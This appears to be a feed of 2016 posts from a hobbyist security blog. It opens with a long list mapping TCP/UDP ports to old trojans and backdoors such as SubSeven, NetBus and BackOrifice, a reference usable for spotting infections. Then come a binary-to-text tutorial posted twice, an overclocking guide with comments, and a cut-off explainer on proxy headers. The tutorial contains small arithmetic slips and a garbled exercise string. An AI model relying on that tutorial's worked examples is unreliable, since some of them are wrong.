TCP 5534 TheFlu.100
TCP 5550 XTCP.200, XTCP.201
TCP 5555 Noxcape.100, Noxcape.200
TCP 5695 Assassin.100
TCP 5714 WinCrash.100
TCP 5741 WinCrash.100
TCP 5742 WinCrash.103
TCP 5802 Y3KRat.160
TCP 5810 Y3KRat.160
TCP 5838 Y3KRat.170
TCP 5858 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5880 Y3KRat.140
TCP 5881 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5883 Y3KRat.110, Y3KRat.140
TCP 5884 Y3KRat.140, Y3KRat.150
TCP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5886 Y3KRat.120, Y3KRat.140
TCP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5889 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5890 Y3KRat.140
TCP 6400 Thething.100, Thething.150
TCP 6556 AutoSpy.120, AutoSpy.122
TCP 6655 Aqua.020
TCP 6660 LameSpy.095
TCP 6666 LameRemote.100, ProjectMayhem.100
TCP 6669 Vampire.100
TCP 6670 DeepThroat.200, DeepThroat.210
TCP 6671 DeepThroat.310
TCP 6699 HostControl.101
TCP 6711 DeepThroat.300, Noknok.820, SubSeven.180, SubSeven.190
TCP 6712 Subseven.100
TCP 6713 Subseven.100
TCP 6767 NTRC.120
TCP 6776 SubSeven.180, SubSeven.190, Subseven.200
TCP 6789 Doly.200
TCP 6796 SubSeven.214
TCP 6912 ShitHeep.100
TCP 6939 Indoctrination.100
TCP 6953 Lithium.100
TCP 6969 2000Cracks.100, Bigorna.100, Danton.110, Danton.210, Danton.220, Danton.310, Danton.320, Danton.330, GateCrasher.110, NetController.108, Sparta.110, VagrNocker.120
TCP 6970 Danton.330
TCP 7001 Freak88.100
TCP 7119 Massaker.100
TCP 7200 Massaker.110
TCP 7300 Coced.221
TCP 7301 Coced.221
TCP 7306 NetSpy.200, NetSpy.200
TCP 7410 Phoenix.190, Phoenix.200
TCP 7511 Genue.100
TCP 7609 Snid.120, Snid.212
TCP 7614 Wollf.130
TCP 7648 BlackStar.100, Ghost.230
TCP 7788 Last.2000, Matrix.200
TCP 7826 MiniOblivion.010, Oblivion.010
TCP 7887 SmallFun.110
TCP 7891 Revenger.100
TCP 7979 VagrNocker.200
TCP 7997 VagrNocker.200
TCP 8000 XConsole.100
TCP 8011 Way.240
TCP 8012 Ptakks.215, Ptakks.217
TCP 8110 LoseLove.100
TCP 8111 LoseLove.100
TCP 8301 LoseLove.100
TCP 8302 LoseLove.100
TCP 8372 NetBoy.100
TCP 8720 Connection.130
TCP 8734 AutoSpy.110
TCP 8811 Force.155
TCP 8899 Last.2000
TCP 9000 Aristotles.100
TCP 9301 LoseLove.100
TCP 9400 InCommand.100, InCommand.110, InCommand.120, InCommand.130, InCommand.140, InCommand.150, InCommand.153, InCommand.160, InCommand.167, InCommand.170
TCP 9401 InCommand.100, InCommand.110, InCommand.170
TCP 9402 InCommand.100, InCommand.110
TCP 9561 CRatPro.110
TCP 9563 CRatPro.110
TCP 9580 TheefLE.100
TCP 9696 Danton.210, Ghost.230
TCP 9697 Danton.320, Danton.330, Ghost.230
TCP 9870 R3C.100
TCP 9872 PortalOfDoom.100
TCP 9873 PortalOfDoom.100
TCP 9874 PortalOfDoom.100
TCP 9875 PortalOfDoom.100
TCP 9876 Rux.100, SheepGoat.100
TCP 9877 SmallBigBrother.020
TCP 9878 SmallBigBrother.020, TransmissionScout.100, TransmissionScout.110, TransmissionScout.120
TCP 9879 SmallBigBrother.020
TCP 9999 ForcedEntry.100, Infra.100, Prayer.120, Prayer.130, TakeOver.200, TakeOver.300
TCP 10001 DTr.130, DTr.140
TCP 10013 Amanda.200
TCP 10067 PortalOfDoom.100
TCP 10100 Gift.240
TCP 10101 NewSilencer.100
TCP 10167 PortalOfDoom.100
TCP 10528 HostControl.100, HostControl.260
TCP 10607 Coma.109
TCP 10666 Ambush.100
TCP 11011 Amanda.200
TCP 11050 HostControl.101
TCP 11051 HostControl.100, HostControl.260
TCP 11223 AntiNuke.100, Progenic.100, Progenic.110
TCP 11225 Cyn.100, Cyn.103, Cyn.120
TCP 11306 Noknok.800, Noknok.820
TCP 11831 Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
TCP 11991 PitfallSurprise.100
TCP 12043 Frenzy.2000
TCP 12345 Fade.100, Netbus.160, Netbus.170, VagrNocker.400
TCP 12346 Netbus.160, Netbus.170
TCP 12348 Bionet.210, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.316, Bionet.317
TCP 12349 Bionet.084, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.314, Bionet.316, Bionet.317, Bionet.401, Bionet.402
TCP 12389 KheSanh.210
TCP 12478 Bionet.210
TCP 12623 Buttman.090, Buttman.100
TCP 12624 Buttman.090, Buttman.100
TCP 12625 Buttman.100
TCP 12904 Akropolis.100, Rocks.100
TCP 13473 Chupacabra.100
TCP 13753 AFTP.010
TCP 14100 Eurosol.100
TCP 14194 CyberSpy.840
TCP 14286 HellDriver.100
TCP 14500 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14501 PCInvader.060, PCInvader.070
TCP 14502 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14503 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14504 PCInvader.050, PCInvader.060
TCP 15092 HostControl.100, HostControl.260
TCP 15382 SubZero.100
TCP 15432 Cyn.210
TCP 15555 ICMIBC.100
TCP 16322 LastDoor.100
TCP 16484 MoSucker.110
TCP 16661 Dfch.010
TCP 16969 Progenic.100
TCP 16982 AcidShiver.100
TCP 17300 Kuang.200
TCP 17499 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
TCP 17500 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
TCP 17569 Infector.141, Infector.160, Infector.170, Infector.180, Infector.190, Infector.200, Intruder.100, Intruder.100
TCP 17593 AudioDoor.120
TCP 19191 BlueFire.035, BlueFire.041
TCP 19604 Metal.270
TCP 19605 Metal.270
TCP 19991 Dfch.010
TCP 20000 Millenium.100
TCP 20001 Millenium.100, PshychoFiles.180
TCP 20002 AcidKor.100, PshychoFiles.180
TCP 20005 MoSucker.200, MoSucker.210, MoSucker.220
TCP 21212 Schwindler.182
TCP 21554 Exploiter.100, Exploiter.110, Girlfriend.130, GirlFriend.135
TCP 21579 Breach.2001
TCP 21584 Breach.2001
TCP 21684 Intruse.134
TCP 22068 AcidShiver.110
TCP 22115 Cyn.120
TCP 22222 Prosiak.047, Ruler.141, Rux.300, Rux.400, Rux.500, Rux.600
TCP 22223 Rux.400, Rux.500, Rux.600
TCP 22456 Bla.200, Bla.503
TCP 22457 AcidShiver.120, Bla.200, Bla.503
TCP 22784 Intruzzo.110
TCP 22845 Breach.450
TCP 22847 Breach.450
TCP 23005 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100
TCP 23006 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100
TCP 23032 Amanda.200
TCP 23432 Asylum.010, Asylum.012, Asylum.013, Asylum.014, MiniAsylum.110
TCP 23456 EvilFTP.100, VagrNocker.400
TCP 23476 DonaldDick.153, DonaldDick.154, DonaldDick.155
TCP 23477 DonaldDick.153
TCP 24000 Infector.170
TCP 24307 Wildek.020
TCP 25386 MoonPie.220
TCP 25486 MoonPie.220
TCP 25555 FreddyK.100, FreddyK.200
TCP 25556 FreddyK.100
TCP 25685 MoonPie.010, MoonPie.012, MoonPie.130, MoonPie.220, MoonPie.240, MoonPie.400
TCP 25686 MoonPie.135, MoonPie.200, MoonPie.400
TCP 25982 MoonPie.135, MoonPie.200
TCP 26274 Delta.050
TCP 27160 MoonPie.135, MoonPie.200
TCP 27184 Alvgus.100, Alvgus.800
TCP 27374 Muerte.110, Subseven.210, SubSeven.213
TCP 28429 Hack'a'Tack.2000
TCP 28430 Hack'a'Tack.2000
TCP 28431 Hack'a'Tack.2000
TCP 28432 Hack'a'Tack.2000
TCP 28433 Hack'a'Tack.2000
TCP 28434 Hack'a'Tack.2000
TCP 28435 Hack'a'Tack.2000
TCP 28436 Hack'a'Tack.2000
TCP 29559 DuckToy.100, DuckToy.101, Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
TCP 29891 Unexplained.100
TCP 30000 Infector.170
TCP 30001 Error32.100
TCP 30003 LamersDeath.100
TCP 30029 AOLTrojan.110
TCP 30100 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30101 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30102 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30103 NetSphere.131
TCP 30947 Intruse.134
TCP 31320 LittleWitch.400, LittleWitch.420
TCP 31337 BackOrifice.120, Khaled.100, OPC.200
TCP 31415 Lithium.101
TCP 31416 Lithium.100, Lithium.101
TCP 31557 Xanadu.110
TCP 31631 CleptoManicos.100
TCP 31745 Buschtrommel.100, Buschtrommel.122
TCP 31785 Hack'a'Tack.100, Hack'a'Tack.112
TCP 31787 Hack'a'Tack.100, Hack'a'Tack.112
TCP 31789 Hack'a'Tack.100, Hack'a'Tack.112
TCP 31791 Hack'a'Tack.100, Hack'a'Tack.112
TCP 31887 BDDT.100
TCP 31889 BDDT.100
TCP 32100 ProjectNext.053
TCP 32418 AcidBattery.100
TCP 32791 Akropolis.100, Rocks.100
TCP 33291 RemoteHak.001
TCP 33333 Blackharaz.100, Prosiak.047, SubSeven.214
TCP 33577 SonOfPsychward.020
TCP 34324 TelnetServer.100
TCP 34763 Infector.180, Infector.190, Infector.200
TCP 35000 Infector.190, Infector.200
TCP 35600 Subsari.140
TCP 36794 BugBear.100
TCP 37237 Mantis.020
TCP 37651 YAT.210
TCP 37653 YAT.310
TCP 40308 Subsari.140
TCP 40412 TheSpy.100
TCP 40421 MastersParadise.970
TCP 40422 MastersParadise.970
TCP 40999 DiemsMutter.110, DiemsMutter.140
TCP 41626 Shah.100
TCP 44444 Prosiak.070
TCP 45673 Akropolis.100, Rocks.100
TCP 47262 Delta.050
TCP 48006 Fragglerock.200
TCP 49683 HolzPferd.210
TCP 50000 Infector.180
TCP 50130 Enterprise.100
TCP 50766 Fore.100
TCP 51234 Cyn.210
TCP 51966 Cafeini.080, Cafeini.110
TCP 54321 PCInvader.010
TCP 57341 NetRaider.100
TCP 57922 Bionet.084
TCP 58008 Tron.100
TCP 58009 Tron.100
TCP 59090 AcidReign.200
TCP 59211 DuckToy.100, DuckToy.101
TCP 59345 NewFuture.100
TCP 60000 DeepThroat.300, MiniBacklash.100, MiniBacklash.101, MiniBacklash.101
TCP 60411 Connection.100, Connection.130
TCP 60412 Connection.130
TCP 60552 RoxRat.100
TCP 63536 InsaneNetwork.500
TCP 63878 AphexFTP.100
TCP 63879 AphexFTP.100
TCP 64969 Lithium.100
TCP 65000 Socket.100
UDP 1 SocketsDeTroie.250
UDP 666 Bla.200, Bla.400, Bla.503, Noknok.820
UDP 1130 Noknok.800, Noknok.820
UDP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
UDP 2989 Rat.200
UDP 3128 MastersParadise.970
UDP 3129 MastersParadise.920, MastersParadise.970
UDP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
UDP 3333 Daodan.123
UDP 3800 Eclypse.100
UDP 3996 RemoteAnything.364
UDP 4000 RemoteAnything.364
UDP 5555 Daodan.123
UDP 5881 Y3KRat.110, Y3KRat.140
UDP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
UDP 5883 Y3KRat.110, Y3KRat.140
UDP 5884 Y3KRat.140, Y3KRat.150
UDP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
UDP 5886 Y3KRat.120, Y3KRat.140
UDP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140
UDP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.150
UDP 6953 Lithium.100
UDP 8012 Ptakks.217
UDP 10067 PortalOfDoom.100
UDP 10167 PortalOfDoom.100
UDP 10666 Ambush.100
UDP 11225 Cyn.100, Cyn.103, Cyn.120
UDP 11306 Noknok.800, Noknok.820
UDP 12389 KheSanh.210
UDP 12623 Buttman.090, Buttman.100
UDP 12625 Buttman.100
UDP 14100 Eurosol.100
UDP 23476 DonaldDick.155
UDP 26274 Delta.050
UDP 27184 Alvgus.100
UDP 28431 Hack'a'Tack.2000
UDP 28432 Hack'a'Tack.2000
UDP 28433 Hack'a'Tack.2000
UDP 28434 Hack'a'Tack.2000
UDP 28435 Hack'a'Tack.2000
UDP 28436 Hack'a'Tack.2000
UDP 29891 Unexplained.100
UDP 30103 NetSphere.131
UDP 31320 LittleWitch.400, LittleWitch.420
UDP 31337 BackOrifice.120, OPC.200
UDP 31416 Lithium.100, Lithium.101
UDP 31789 Hack'a'Tack.100, Hack'a'Tack.112
UDP 31791 Hack'a'Tack.100, Hack'a'Tack.112
UDP 33333 Blackharaz.100
UDP 47262 Delta.050
UDP 49683 HolzPferd.210
UDP 60000 MiniBacklash.100

Translating Binary to Text (Part 2)

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Thu, 14 Apr 2016 00:00:00 +0000

Translating Binary to Text

Introduction:
We’ve all seen binary code. We’ve come to think of them as a bunch of ones and zeroes in long strings…
010010101010101001101011

But these ones and zeroes can also represent decimal numbers. First off, I will show you how to read these numbers as the decimal numbers we’re used to in our daily life. Then, I will show you how to use those numbers and your keypad to translate them into text. Note that your computer doesn’t use the decimal system, so technically, when it converts binary to text, it doesn’t go through the process I will show you. This is just a divertive way of explaining you how the binary system works.

The Binary System:
Here’s a simple example of binary:
10101

Let’s think of the example above as empty slots:
_ _ _ _ _

First off, you read binary from right-to-left. It’s just the way it’s designed. The first slot from the right represents a value of one, the second from the right a value of two, the third from the right a value of four, the fourth from the right a value of eight, the fifth from the right a value of sixteen, and the cycle continues by multiples of 2. This will never change.

By putting a 1 or a 0 in those slots you are either saying you want to corresponding value that’s attached to that slot or you don’t. A 1 means yes, and a 0 means no. For example, putting a zero in the first slot from the right, but a 1 in the second slot from the right means you want a two, but not a one:
_ _ _ 1 0

As such, the number above equals to a decimal value of two.

As an example, let’s say you want to represent eight in binary form. Well, thinking about the slots, you want the first slot to be 0 because you don’t want a one, you want the second slot to also be 0 because you don’t want a two, you want the third slot to also to be 0 because you don’t want a four, but you want the fifth slot to be 1 because you want a value of eight. As such, eight in binary form is:
1 0 0 0 (or simply 1000 without those underlines)

Now it is important to note that the amount of zeroes that precede the first value of one from the left is unimportant. So for example:
1 0 0 0 is the same as 0 0 0 1 0 0 0 (1000 = 000100)

To get it cleared up, here’s another example:
0 1 is the same as 1

Exercises: What do the following equal in decimal terms?
a) 100
b] 000100
c) 100000
d) 0010

Answers:
a) 4
b] 4
c) 32
d) 2

If you got the answers above right, then you pretty much understand the basics of binary.
Let’s now understand how to get the corresponding decimal values to the numbers which are not multiples of 2.

To get the total value of a binary number, add the values corresponding to each slot. So, for example, three in binary would be:
11

The above corresponds to three because if you add the total values of all the slots, that is to say a one from the slot to the right, and a two from the second slot to the right, then it equals three.

As another example, let’s say you want to represent 5 in binary terms. Then you would need a value of one to be added to a value of four, and you would not want a value of two:
101 [Reading from the right: 1(one) + 0(two) + 1(four) = five]

Here’s an additional example:
001011 [Reading from the right: 1(one) + 1(two) + 0(four) + 1(eight) + 0(sixteen) + 0(thirty-two) = eleven)

Exercises: What do the following equal in decimal terms?
a) 11011
b] 110
c) 010101
d) 10110

Answers:
a) 27
b] 6
c) 21
d) 22

If you got the above questions correct [without cheating], then you essentially understand the binary system. Understanding the binary system was the hard part. What follows is pretty easy.

3. Converting Binary to ASCII (Text)
ASCII is essentially the letters, numbers and symbols that are stored in our computers through the use of fonts. When the keyboard relays the buttons you pressed, it sends in a code which is then converted to the ASCII equivalent of “k” or “5” or whatever key you pressed.

Here’s an example of a message “hidden” in binary text:
0100100001100101011011000110110001101111

Now there are only so many letters, numbers and symbols stored for ASCII. Having sets of 8 digits for their binary equivalent is more than enough to represent all of these letters and the like. As such, all strings that represent text like in the above are separated into bits of 8 for simplicity:
01001000 01100101 01101100 01101100 01101111

Okay, so our example message was separated into 8 digit strings. The decimal value for each of these strings in the example was calculated for you.
01001000 = 72
01100101 = 101
01101100 = 108
01101100 = 108
01101111 = 111

The result was 72,101,108,108,111. Now, there is something called the ASCII table. It essentially corresponds to the binary numbers from yore to the equivalent letters/symbols/numbers. But since we found the decimal values of these binary strings, we can use a major shortcut.

By pressing ALT + [The Number], you will get the ASCII equivalent of that number. For example, by pressing the ALT key and at then (while keeping it down) the numbers 72 in any text editor, you will get the corresponding “H” to show up.

Let’s do so for the entire example message:
72 = H
101 = e
108 = l
108 = l
111 = o

So the entire “hidden” message translates to “Hello”.

Exercise: Decode the following message
01000011011011110110111001100111011100100110000101110100011101010110110001100001
011101000
1101001011011110110111001110011 00100001

Hint: The first step on your way to decoding the message (separated into bytes for you)
01000011 01101111 01101110 01100111 01110010 01100001 01110100 01110101 01101100 01100001 01110100 01101001 01101111 01101110 01110011 00100001

Translating Binary to Text: The Hard Way (Part 1)

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Wed, 13 Apr 2016 12:00:00 +0000

Translating Binary to Text: The Hard Way

Introduction:
We’ve all seen binary code. We’ve come to think of them as a bunch of ones and zeroes in long strings…
010010101010101001101011

But these ones and zeroes can also represent decimal numbers. First off, I will show you how to read these numbers as the decimal numbers we’re used to in our daily life. Then, I will show you how to use those numbers and your keypad to translate them into text. Note that your computer doesn’t use the decimal system, so technically, when it converts binary to text, it doesn’t go through the process I will show you. This is just a divertive way of explaining you how the binary system works.

The Binary System:
Here’s a simple example of binary:
10101

Let’s think of the example above as empty slots:
_ _ _ _ _

First off, you read binary from right-to-left. It’s just the way it’s designed. The first slot from the right represents a value of one, the second from the right a value of two, the third from the right a value of four, the fourth from the right a value of eight, the fifth from the right a value of sixteen, and the cycle continues by multiples of 2. This will never change.

By putting a 1 or a 0 in those slots you are either saying you want to corresponding value that’s attached to that slot or you don’t. A 1 means yes, and a 0 means no. For example, putting a zero in the first slot from the right, but a 1 in the second slot from the right means you want a two, but not a one:
_ _ _ 1 0

As such, the number above equals to a decimal value of two.

As an example, let’s say you want to represent eight in binary form. Well, thinking about the slots, you want the first slot to be 0 because you don’t want a one, you want the second slot to also be 0 because you don’t want a two, you want the third slot to also to be 0 because you don’t want a four, but you want the fifth slot to be 1 because you want a value of eight. As such, eight in binary form is:
1 0 0 0 (or simply 1000 without those underlines)

Now it is important to note that the amount of zeroes that precede the first value of one from the left is unimportant. So for example:
1 0 0 0 is the same as 0 0 0 1 0 0 0 (1000 = 000100)

To get it cleared up, here’s another example:
0 1 is the same as 1

Exercises: What do the following equal in decimal terms?
a) 100
b] 000100
c) 100000
d) 0010

Answers:
a) 4
b] 4
c) 32
d) 2

If you got the answers above right, then you pretty much understand the basics of binary.
Let’s now understand how to get the corresponding decimal values to the numbers which are not multiples of 2.

To get the total value of a binary number, add the values corresponding to each slot. So, for example, three in binary would be:
11

The above corresponds to three because if you add the total values of all the slots, that is to say a one from the slot to the right, and a two from the second slot to the right, then it equals three.

As another example, let’s say you want to represent 5 in binary terms. Then you would need a value of one to be added to a value of four, and you would not want a value of two:
101 [Reading from the right: 1(one) + 0(two) + 1(four) = five]

Here’s an additional example:
001011 [Reading from the right: 1(one) + 1(two) + 0(four) + 1(eight) + 0(sixteen) + 0(thirty-two) = eleven)

Exercises: What do the following equal in decimal terms?
a) 11011
b] 110
c) 010101
d) 10110

Answers:
a) 27
b] 6
c) 21
d) 22

If you got the above questions correct [without cheating], then you essentially understand the binary system. Understanding the binary system was the hard part. What follows is pretty easy.

3. Converting Binary to ASCII (Text)
ASCII is essentially the letters, numbers and symbols that are stored in our computers through the use of fonts. When the keyboard relays the buttons you pressed, it sends in a code which is then converted to the ASCII equivalent of “k” or “5” or whatever key you pressed.

Here’s an example of a message “hidden” in binary text:
0100100001100101011011000110110001101111

Now there are only so many letters, numbers and symbols stored for ASCII. Having sets of 8 digits for their binary equivalent is more than enough to represent all of these letters and the like. As such, all strings that represent text like in the above are separated into bits of 8 for simplicity:
01001000 01100101 01101100 01101100 01101111

Okay, so our example message was separated into 8 digit strings. The decimal value for each of these strings in the example was calculated for you.
01001000 = 72
01100101 = 101
01101100 = 108
01101100 = 108
01101111 = 111

The result was 72,101,108,108,111. Now, there is something called the ASCII table. It essentially corresponds to the binary numbers from yore to the equivalent letters/symbols/numbers. But since we found the decimal values of these binary strings, we can use a major shortcut.

By pressing ALT + [The Number], you will get the ASCII equivalent of that number. For example, by pressing the ALT key and at then (while keeping it down) the numbers 72 in any text editor, you will get the corresponding “H” to show up.

Let’s do so for the entire example message:
72 = H
101 = e
108 = l
108 = l
111 = o

So the entire “hidden” message translates to “Hello”.

Exercise: Decode the following message
010000110110111101101110011001110111001001100001011101000111010101101100011000010111010001
101001011011110110111001110011 00100001

Hint: The first step on your way to decoding the message (separated into bytes for you)
01000011 01101111 01101110 01100111 01110010 01100001 01110100 01110101 01101100 01100001 01110100 01101001 01101111 01101110 01110011 00100001

PS. Please note that this is the information as I've come to understand it. As such, it's somewhat easier to understand, but it may not necessarily be accurate. In other words, if another source contradicts what has been indicated here, that source is probably right. This text was completely written up by me, with no other sources for aid. If you wish to distribute this text, feel free to do so, but I would appreciate it if you contacted me first.

Overclocking Tutorial

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Wed, 13 Apr 2016 05:00:00 +0000

Overclocking takes on 3 forms:
First, is the casual overclocking, easy, and anyone can do it.
Second, is the right way to overclock, taking into account, everything.
Third, if you want serious power, your gonna need to be savy to what does what.

The casual overclocker gains about 5% increase, and really doesn't see any benefit from this, whilst it makes you feel good, no serious damage can be made, by upping the FSB a little, or changing your multiplier, only thing is, you want more.

The correct way to overclock, is to start looking at your system, check the motherboard specs, PSU, amount of harddrives, CD ROMS etc. (high end systems, including the lastest graphic cards will need serious power).

Lets take a base system like my old system setup:

AMD XP1700+ ( Thoroughbred JIUHB DLT3C )
Core Voltage = 1.50v
Maximum Die Temp = 90c
FSB = 266Mhz
(factory unlocked)

Jetway K266B KT266 chipset
DDR + SDR RAM (not together)
No onboard RAID

DDR RAM = Dane Elec PC2700 DDR (333Mhz)
Not registered

2 Hard drvies
1 CD Writer & 1 DVD ROM drive

2 LAN cards

1 PCI soundcard
(onboard sound turned off).

Now, lets look at what they can do:
The Thoroughbred is still the top processor for overclocking, Thunderbirds are just not upto it, even though they are capable of some really decent speeds, same as the Palamino, not to mention the Barton's (these are not what they have been made up to be).
(for the purpose of space, I'll not go into unlocking your CPU)

As you can see, my Thoroughbred has a core voltage of 1.5v, and as my motherboard is capable of giving my processor anything upto 1.85v, there is score for more there.
The FSB on my motherboard is capable of a max of 200Mhz (this is the magic number).
Die temps to a max of 90c is good (never been near it, yet!).

Now, to work out your Mhz on your system, or to check your multiplier or FSB, there is a little calculation you'll need to remember, and it's easy:

Your Mhz is worked out by your multiplier timed your FSB.
example:

CODE
133x10 = 1.33Ghz

Of course you can devide your Mhz with your known FSB to give you your multiplier etc.

Now for easy, I have the results of my previous unlocking tests handy, so I'll use them, and not the current speeds etc.

Standard Multiplier = 11.0
Overclocked Multiplier = 12.0

Standard Voltage = 1.50v
Overclocked Voltage = 1.52v

Standard FSB = 133Mhz
Overclocked FSB = 136Mhz

Standard Speed = 1467Mhz
Overclocked Speed = 1630Mhz

Standard Temps = CPU = 37c SYSTEM = 32c (idle) CPU = 44c SYSTEM = 36c (under load)
Overclocked Temps = CPU = 34c SYSTEM = 29c (idle) CPU 40c SYSTEM 34c (under load)

As you can see, the system is cooler when overclocked, this is due to having the correct cooling setup, and temps for it when it was standard, was standard cooling setup.

Basically, all I have done, is raised the FSB by 3mhz, the voltage by 0.02v and the multiplier by 1.0, this has given me a 163Mhz increase without over strssing my system, but, here is where it gets teadious:

To achieve this, it took me about a week, and this is how I did it:
I started by lowering the multiplier to 5.0, from there I raised the FSB to its max (at the time, have latest BIOS update for mobo, allowing 200Mhz FSB), 166Mhz, this is the correct way of overclocking.
From there, I started to raise the multiplier one by one, getting it back upto the standard multiplier or higher, checking the stability of the system each time.
(currently I am way passed the 136Mhz FSB, as I am running PC2700 DDR).

One thing to look at though, overclocking using the FSB WILL (unless your system allows you to specify it) mess with your PCI & RAM speeds.
Even raising it by 3Mhz can make your PCI cards to not work, and your RAM to get confused and crash your system.

Now your thinking to yourself 'I can do that' and yes you can, anyone can, but.......
It takes TIME, I can't stress that enough, if your going to try this, then you'll need to run your system for at least 6 hours between changing your multiplier, and as you can imagine, this can take a long time to do.

For your information, I used Hot CPU Tester, SETI & played Vietcong for testing purposes.

Now, for the hard part:

As most experienced overclockers will tell you, heat is your enemy, killing heat is your number 1 aim, don't worry about your speed at first, a 50Mhz increasde isn't gonna make your 3D Mark scream through the roof, actually, you'll probably not even get any better than what you did before.

There are several ways of dispersing heat, and they are:

Aircooling
Pro's: Cheap, effective at lower speeds.
Con's: Noisey, dust collectors, need maintanance.

Watercooling:
Pro's: Can lower your CPU by about 10c easily.
Con's: It has water in it, expensive, hard for some to understand.

Pelter:
Pro's: With watercooling, it's the daddy
Con's: ONLY EXPERIENCED PEOPLE NEED TO APPLY, very complicated, power hungry, NOT for the faint hearted. Stupidly expensive.

Aircooling:
Upgrading your CPU fan is the first step, there are several companies that offer aftermarket fans, which are better than the OEM fans are 2 a penny in todays world, but it's NOT just about your CPU fan, your system needs to breath, you need to get rid of 'hot spots' within your system.

Watercooling:
Its easier than most make out, its a good thing, kit prices can be got from about £120 ($200 US), just make sure they are upgradable, as you might want to add, a Northbridge water block & a GPU water block.
Modern day kits & parts are idiot proof, and will not leak, unless you act like Noah.

Pelter:
Pelter cooling is DANGEROUS, minly for your system, fitting it incorrectly, and you could end up with not only a baked CPU but a system that will end up as a very expensive paperweight.
Ask your local overclocking expert for more info.

Basically, if you can get hold of a decent Thoroughbred cored XP, your in luck (just like me), if its unlocked, then your in business, obviously, its not just down to your CPU, your motherboard and RAM will denote whether you can overclock big style or not.
I'd advise ANYONE thinking of overclocking, to research into it more, weigh up the odds on what they want or need, if your on a buget, DON'T attempt it, things can and do go wrong.
Most of the time, its not about 'mines faster than yours' or massive speed increases, its done by most, cause it can be. 90% of the time, you'd be better off buying a new CPU (as prices are so low), but if you get the urge, then a new world awaits you

great tutorial. this should help the OC noobs. If I can add something like you said know your specs of the mobo....and if you are serious about OC'ing dont go and get some generic NO-NAME ram and some ghetto mobo. to get the best stability go with ASUS and ABIT for the mobo and Crucial, Kingston, mushkin for the ram. A great forum for OC'ing is amdmb.com.

Indeed, if you are serious about your overclocking, its advised you only use serious brand names.
Generic parts are always a lower spec, and can easily destroy themselves with even a little stress aimed towards them.

Memory advice, use the folloing:

Kingston (added because of reviews, personally, I'm not sure about them).
Crucial (for Dual Channel DDR ONLY)
OCZ
Mushkin
Corsair
PNY (for EEC rated)
Samsung
Geil (my choice, when I can afford it)

Motherbord advice, use the following:

Asus A7N8X Deluxe nForce2
Asus A7N8X-VM nForce2
Asus A7N8X-X nForce2
Abit KD7-S KT400
Abit KV7 KT600
Abit NF7 v2.0 nForce2
Abit NF7-S v2.0 nForce2
MSI K7N2 Delta-L Nforce2
MSI KT6 Delta-LSR KT600
Epox 8RDA+ nForce2
Epox 8RGA+ nForce2

Any nForce2 motherboard would be best, they allow more score for overclocking your system.

Anonymity of Proxy

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 12 Apr 2016 22:00:00 +0000

The exchange of information in Internet is made by the "client - server" model. A client sends a request (what files he needs) and a server sends a reply (required files). For close cooperation (full understanding) between a client and a server the client sends additional information about itself: a version and a name of an operating system, configuration of a browser (including its name and version) etc. This information can be necessary for the server in order to know which web-page should be given (open) to the client. There are different variants of web-pages for different configurations of browsers. However, as long as web-pages do not usually depend on browsers, it makes sense to hide this information from the web-server.

What your browser transmits to a web-server:
a name and a version of an operating system
a name and a version of a browser
configuration of a browser (display resolution, color depth, java / javascript support, ...)
IP-address of a client
Other information

The most important part of such information (and absolutely needless for a web-server) is information about IP-address. Using your IP it is possible to know about you the following:
a country where you are from
a city
your provider?s name and e-mail
your physical address

Information, transmitted by a client to a server is available (accessible) for a server as environment variables. Every information unit is a value of some variable. If any information unit is not transmitted, then corresponding variable will be empty (its value will be undetermined).

These are some environment variables:

REMOTE_ADDR ? IP address of a client

HTTP_VIA ? if it is not empty, then a proxy is used. Value is an address (or several addresses) of a proxy server, this variable is added by a proxy server itself if you use one.

HTTP_X_FORWARDED_FOR ? if it is not empty, then a proxy is used. Value is a real IP address of a client (your IP), this variable is also added by a proxy server if you use one.

HTTP_ACCEPT_LANGUAGE ? what language is used in browser (what language a page should be displayed in)

HTTP_USER_AGENT ? so called "a user?s agent". For all browsers this is Mozilla. Furthermore, browser?s name and version (e.g. MSIE 5.5) and an operating system (e.g. Windows 98) is also mentioned here.

HTTP_HOST ? is a web server?s name

This is a small part of environment variables. In fact there are much more of them (DOCUMENT_ROOT, HTTP_ACCEPT_ENCODING, HTTP_CACHE_CONTROL, HTTP_CONNECTION, SERVER_ADDR, SERVER_SOFTWARE, SERVER_PROTOCOL, ...). Their quantity can depend on settings of both a server and a client.

These are examples of variable values:

REMOTE_ADDR = 194.85.1.1
HTTP_ACCEPT_LANGUAGE = ru
